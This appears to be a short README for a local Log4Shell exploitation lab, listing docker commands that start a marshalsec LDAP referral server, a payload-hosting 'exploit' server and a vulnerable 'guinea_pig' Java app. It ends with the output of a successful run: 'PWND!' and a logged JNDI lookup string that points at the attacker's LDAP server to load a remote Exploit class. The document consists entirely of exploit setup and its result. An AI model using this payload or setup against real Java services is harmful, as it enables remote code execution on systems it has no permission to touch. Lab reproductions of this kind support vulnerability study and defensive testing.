docker build -t marshalsec marshalsec/.
docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec

docker build -t exploit ./exploit
docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit

docker build -t guinea_pig guinea_pig/.
docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig

PWND!
[main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}